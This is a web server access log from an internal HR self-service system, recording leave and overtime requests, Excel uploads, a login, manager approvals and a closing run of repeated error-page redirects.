192.168.12.66 - - [04/Sep/2025:16:03:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:16:03:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
192.168.12.66 - - [04/Sep/2025:16:03:10 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D131073%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A131073&target=iframe HTTP/1.1" 200 3251
192.168.12.66 - - [04/Sep/2025:16:03:10 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D131073%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A131073&target=iframe HTTP/1.1" 200 3251 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:16:03:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE024&appdesc=%E8%AF%B7%E5%81%87%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44837
192.168.12.66 - - [04/Sep/2025:16:03:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE024&appdesc=%E8%AF%B7%E5%81%87%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44837 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:16:03:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE024&appdesc=%E8%AF%B7%E5%81%87%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44638 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:16:03:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE024&appdesc=%E8%AF%B7%E5%81%87%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44638
192.168.12.66 - - [04/Sep/2025:16:03:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE024&appdesc=%E8%AF%B7%E5%81%87%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44638 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:16:03:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE024&appdesc=%E8%AF%B7%E5%81%87%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44638
192.168.12.66 - - [04/Sep/2025:16:03:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 40327 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:16:03:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 40327
192.168.12.66 - - [04/Sep/2025:16:03:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 106877 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:16:03:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 106877
192.168.12.66 - - [04/Sep/2025:16:04:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 40327
192.168.12.66 - - [04/Sep/2025:16:04:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 40327 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:16:04:23 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 42184 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:16:04:23 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 42184
192.168.12.66 - - [04/Sep/2025:16:05:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:16:05:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.12.66 - - [04/Sep/2025:16:05:15 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.8533147552876201 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:16:05:15 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.8533147552876201 HTTP/1.1" 200 5264
192.168.12.66 - - [04/Sep/2025:16:05:18 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.8533147552876201 HTTP/1.1" 302 -
192.168.12.66 - - [04/Sep/2025:16:05:18 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.8533147552876201 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.8533147552876201" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:16:05:19 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4833 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.8533147552876201" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:16:05:19 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4833
192.168.12.66 - - [04/Sep/2025:16:05:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4659 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:16:05:22 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4659
192.168.12.66 - - [04/Sep/2025:16:05:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:16:05:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.12.66 - - [04/Sep/2025:16:05:58 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.1543614858309127 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:16:05:58 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.1543614858309127 HTTP/1.1" 200 5264
192.168.12.66 - - [04/Sep/2025:16:06:02 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.1543614858309127 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.1543614858309127" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:16:06:02 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.1543614858309127 HTTP/1.1" 302 -
192.168.12.66 - - [04/Sep/2025:16:06:02 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 5824
192.168.12.66 - - [04/Sep/2025:16:06:02 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 5824 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.1543614858309127" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:16:06:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 5531 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:16:06:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 5531
100.64.0.1 - - [04/Sep/2025:16:08:31 +0800] "GET / HTTP/1.1" 200 439 "-" "-"
100.64.0.1 - - [04/Sep/2025:16:08:31 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:16:11:55 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:16:11:55 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:16:12:16 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:16:12:16 +0800] "GET / HTTP/1.1" 200 439
192.168.182.95 - - [04/Sep/2025:16:16:14 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [04/Sep/2025:16:16:14 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 -
192.168.182.95 - - [04/Sep/2025:16:16:15 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.182.95 - - [04/Sep/2025:16:16:15 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [04/Sep/2025:16:16:20 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.182.95 - - [04/Sep/2025:16:16:20 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [04/Sep/2025:16:16:25 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206
192.168.182.95 - - [04/Sep/2025:16:16:25 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [04/Sep/2025:16:16:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10399 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [04/Sep/2025:16:16:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10399
192.168.182.95 - - [04/Sep/2025:16:16:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [04/Sep/2025:16:16:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 -
192.168.182.95 - - [04/Sep/2025:16:16:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256
192.168.182.95 - - [04/Sep/2025:16:16:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [04/Sep/2025:16:16:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [04/Sep/2025:16:16:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 -
192.168.182.95 - - [04/Sep/2025:16:16:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 122187 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [04/Sep/2025:16:16:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 122187
192.168.182.95 - - [04/Sep/2025:16:16:48 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [04/Sep/2025:16:16:48 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 -
192.168.182.95 - - [04/Sep/2025:16:16:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131074%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131074&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [04/Sep/2025:16:16:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131074%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131074&target=iframe HTTP/1.1" 302 -
192.168.182.95 - - [04/Sep/2025:16:16:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.182.95 - - [04/Sep/2025:16:16:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [04/Sep/2025:16:16:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.182.95 - - [04/Sep/2025:16:16:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [04/Sep/2025:16:16:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.182.95 - - [04/Sep/2025:16:16:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [04/Sep/2025:16:16:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.182.95 - - [04/Sep/2025:16:16:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [04/Sep/2025:16:16:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.182.95 - - [04/Sep/2025:16:16:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.182.95 - - [04/Sep/2025:16:16:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
